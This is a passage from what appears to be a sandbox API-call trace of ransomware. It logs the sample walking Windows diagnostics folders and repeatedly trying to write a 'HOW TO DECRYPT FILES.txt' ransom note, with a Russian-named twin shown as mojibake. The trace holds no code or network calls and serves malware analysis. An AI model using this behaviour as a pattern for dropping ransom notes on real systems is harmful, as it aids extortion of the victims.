"c:\\windows\\diagnostics\\system\\aero\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.291] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.291] CloseHandle (hObject=0xffffffff) returned 0 [0126.291] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\", lpString2="TS_Themes.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\TS_Themes.ps1") returned="C:\\Windows\\diagnostics\\system\\AERO\\TS_Themes.ps1" [0126.292] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.292] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="TS_Transparency.ps1") returned -1 [0126.292] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="TS_Transparency.ps1") returned -1 [0126.292] lstrcmpiA (lpString1="", lpString2="TS_Transparency.ps1") returned -1 [0126.292] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\AERO\\TS_Themes.ps1") returned="TS_Themes.ps1" [0126.292] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\AERO\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\") returned="C:\\Windows\\diagnostics\\system\\AERO\\" [0126.292] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\AERO\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\AERO\\") returned="" [0126.292] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" [0126.292] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\aero\\how to decrypt files.txt")) returned 0xffffffff [0126.292] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\aero\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.293] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.293] CloseHandle (hObject=0xffffffff) returned 0 [0126.293] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\", lpString2="TS_Transparency.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\TS_Transparency.ps1") returned="C:\\Windows\\diagnostics\\system\\AERO\\TS_Transparency.ps1" [0126.293] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.293] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="TS_UXSMS.ps1") returned -1 [0126.293] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="TS_UXSMS.ps1") returned -1 [0126.293] lstrcmpiA (lpString1="", lpString2="TS_UXSMS.ps1") returned -1 [0126.293] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\AERO\\TS_Transparency.ps1") returned="TS_Transparency.ps1" [0126.293] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\AERO\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\") returned="C:\\Windows\\diagnostics\\system\\AERO\\" [0126.293] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\AERO\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\AERO\\") returned="" [0126.294] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" [0126.294] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\aero\\how to decrypt files.txt")) returned 0xffffffff [0126.294] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\aero\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.294] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.294] CloseHandle (hObject=0xffffffff) returned 0 [0126.294] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\", lpString2="TS_UXSMS.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\TS_UXSMS.ps1") returned="C:\\Windows\\diagnostics\\system\\AERO\\TS_UXSMS.ps1" [0126.295] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.295] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="TS_WDDMDriver.ps1") returned -1 [0126.295] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="TS_WDDMDriver.ps1") returned -1 [0126.295] lstrcmpiA (lpString1="", lpString2="TS_WDDMDriver.ps1") returned -1 [0126.295] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\AERO\\TS_UXSMS.ps1") returned="TS_UXSMS.ps1" [0126.295] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\AERO\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\") returned="C:\\Windows\\diagnostics\\system\\AERO\\" [0126.295] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\AERO\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\AERO\\") returned="" [0126.295] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" [0126.295] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\aero\\how to decrypt files.txt")) returned 0xffffffff [0126.295] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\aero\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.296] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.296] CloseHandle (hObject=0xffffffff) returned 0 [0126.296] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\", lpString2="TS_WDDMDriver.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\TS_WDDMDriver.ps1") returned="C:\\Windows\\diagnostics\\system\\AERO\\TS_WDDMDriver.ps1" [0126.296] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.296] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="TS_WinSat.ps1") returned -1 [0126.296] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="TS_WinSat.ps1") returned -1 [0126.296] lstrcmpiA (lpString1="", lpString2="TS_WinSat.ps1") returned -1 [0126.296] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\AERO\\TS_WDDMDriver.ps1") returned="TS_WDDMDriver.ps1" [0126.297] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\AERO\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\") returned="C:\\Windows\\diagnostics\\system\\AERO\\" [0126.297] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\AERO\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\AERO\\") returned="" [0126.297] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" [0126.297] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\aero\\how to decrypt files.txt")) returned 0xffffffff [0126.297] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\aero\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.297] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.297] CloseHandle (hObject=0xffffffff) returned 0 [0126.297] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\", lpString2="TS_WinSat.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\TS_WinSat.ps1") returned="C:\\Windows\\diagnostics\\system\\AERO\\TS_WinSat.ps1" [0126.298] lstrcmpA (lpString1=".", lpString2="Audio") returned -1 [0126.298] lstrcmpA (lpString1="..", lpString2="Audio") returned -1 [0126.298] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\*.*") returned="*.*" [0126.298] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\", lpString2="Audio" | out: lpString1="C:\\Windows\\diagnostics\\system\\Audio") returned="C:\\Windows\\diagnostics\\system\\Audio" [0126.298] FindFirstFileA (in: lpFileName="C:\\Windows\\diagnostics\\system\\Audio\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e44a29c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e44a29c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0126.302] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0126.302] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0126.302] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0126.302] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.302] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AudioDiagnosticSnapIn.dll") returned 1 [0126.303] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AudioDiagnosticSnapIn.dll") returned 1 [0126.303] lstrcmpiA (lpString1="", lpString2="AudioDiagnosticSnapIn.dll") returned -1 [0126.303] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Audio\\*.*") returned="*.*" [0126.303] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Audio\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\") returned="C:\\Windows\\diagnostics\\system\\Audio\\" [0126.303] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Audio\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Audio\\") returned="" [0126.303] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\Audio\\HOW TO DECRYPT FILES.txt" [0126.303] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\Audio\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\audio\\how to decrypt files.txt")) returned 0xffffffff [0126.304] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\Audio\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\audio\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.305] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.305] CloseHandle (hObject=0xffffffff) returned 0 [0126.305] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\", lpString2="AudioDiagnosticSnapIn.dll" | out: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\AudioDiagnosticSnapIn.dll") returned="C:\\Windows\\diagnostics\\system\\Audio\\AudioDiagnosticSnapIn.dll" [0126.306] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.306] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="CL_Invocation.ps1") returned 1 [0126.306] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="CL_Invocation.ps1") returned 1 [0126.306] lstrcmpiA (lpString1="", lpString2="CL_Invocation.ps1") returned -1 [0126.306] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Audio\\AudioDiagnosticSnapIn.dll") returned="AudioDiagnosticSnapIn.dll" [0126.306] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Audio\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\") returned="C:\\Windows\\diagnostics\\system\\Audio\\" [0126.306] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Audio\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Audio\\") returned="" [0126.306] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\Audio\\HOW TO DECRYPT FILES.txt" [0126.306] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\Audio\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\audio\\how to decrypt files.txt")) returned 0xffffffff [0126.306] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\Audio\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\audio\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.307] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.307] CloseHandle (hObject=0xffffffff) returned 0 [0126.307] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\", lpString2="CL_Invocation.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\CL_Invocation.ps1") returned="C:\\Windows\\diagnostics\\system\\Audio\\CL_Invocation.ps1" [0126.307] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.307] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="CL_LoadAssembly.ps1") returned 1 [0126.307] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="CL_LoadAssembly.ps1") returned 1 [0126.307] lstrcmpiA (lpString1="", lpString2="CL_LoadAssembly.ps1") returned -1 [0126.307] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Audio\\CL_Invocation.ps1") returned="CL_Invocation.ps1" [0126.307] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Audio\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\") returned="C:\\Windows\\diagnostics\\system\\Audio\\" [0126.307] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Audio\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Audio\\") returned="" [0126.307] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\Audio\\HOW TO DECRYPT FILES.txt" [0126.307] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\Audio\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\audio\\how to decrypt files.txt")) returned 0xffffffff [0126.308] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\Audio\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\audio\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.308] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.308] CloseHandle (hObject=0xffffffff) returned 0 [0126.308] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\", lpString2="CL_LoadAssembly.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\CL_LoadAssembly.ps1") returned="C:\\Windows\\diagnostics\\system\\Audio\\CL_LoadAssembly.ps1" [0126.309] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.309] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="CL_RegSnapin.ps1") returned 1 [0126.309] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="CL_RegSnapin.ps1") returned 1 [0126.309] lstrcmpiA (lpString1="", lpString2="CL_RegSnapin.ps1") returned -1 [0126.309] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Audio\\CL_LoadAssembly.ps1") returned="CL_LoadAssembly.ps1" [0126.309] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Audio\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\") returned="C:\\Windows\\diagnostics\\system\\Audio\\" [0126.309] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Audio\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Audio\\") returned="" [0126.309] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\Audio\\HOW TO DECRYPT FILES.txt" [0126.309] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\Audio\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\audio\\how to decrypt files.txt")) returned 0xffffffff [0126.309] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\Audio\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\audio\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.310] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.310] CloseHandle (hObject=0xffffffff) returned 0 [0126.310] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\", lpString2="CL_RegSnapin.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\CL_RegSnapin.ps1") returned="C:\\Windows\\diagnostics\\system\\Audio\\CL_RegSnapin.ps1" [0126.310] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.310] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="CL_RunDiagnosticScript.ps1") returned 1 [0126.310] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="CL_RunDiagnosticScript.ps1") returned 1 [0126.310] lstrcmpiA (lpString1="", lpString2="CL_RunDiagnosticScript.ps1") returned -1 [0126.310] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Audio\\CL_RegSnapin.ps1") returned="CL_RegSnapin.ps1" [0126.310] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Audio\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\") returned="C:\\Windows\\diagnostics\\system\\Audio\\" [0126.310] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Audio\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Audio\\") returned="" [0126.311] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\Audio\\HOW TO DECRYPT FILES.txt" [0126.311] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\Audio\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\audio\\how to decrypt files.txt")) returned 0xffffffff [0126.311] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\Audio\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\audio\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.311] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.311] CloseHandle (hObject=0xffffffff) returned 0 [0126.311] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\", lpString2="CL_RunDiagnosticScript.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\CL_RunDiagnosticScript.ps1") returned="C:\\Windows\\diagnostics\\system\\Audio\\CL_RunDiagnosticScript.ps1" [0126.312] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.312] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="CL_Utility.ps1") returned 1 [0126.312] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="CL_Utility.ps1") returned 1 [0126.312] lstrcmpiA (lpString1="", lpString2="CL_Utility.ps1") returned -1 [0126.312] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Audio\\CL_RunDiagnosticScript.ps1") returned="CL_RunDiagnosticScript.ps1" [0126.312] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Audio\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\") returned="C:\\Windows\\diagnostics\\system\\Audio\\" [0126.312] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Audio\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Audio\\") returned="" [0126.312] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\Audio\\HOW TO DECRYPT FILES.txt" [0126.312] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\Audio\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\audio\\how to decrypt files.txt")) returned 0xffffffff [0126.312] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\Audio\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\audio\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.313] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.313] CloseHandle (hObject=0xffffffff) returned 0 [0126.313] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\", lpString2="CL_Utility.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\CL_Utility.ps1") returned="C:\\Windows\\diagnostics\\system\\Audio\\CL_Utility.ps1" [0126.313] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.313] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DiagPackage.diagpkg") returned 1 [0126.313] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DiagPackage.diagpkg") returned 1 [0126.314] lstrcmpiA (lpString1="", lpString2="DiagPackage.diagpkg") returned -1 [0126.314] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Audio\\CL_Utility.ps1") returned="CL_Utility.ps1" [0126.314] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Audio\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\") returned="C:\\Windows\\diagnostics\\system\\Audio\\" [0126.314] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Audio\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Audio\\") returned="" [0126.314] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\Audio\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\Audio\\HOW TO DECRYPT FILES.txt" [0126.314] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\Audio\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\audio\\how to decrypt files.txt")) returned 0xffffffff [0126.314] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\Audio\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\audio\\how to decrypt files.txt"), 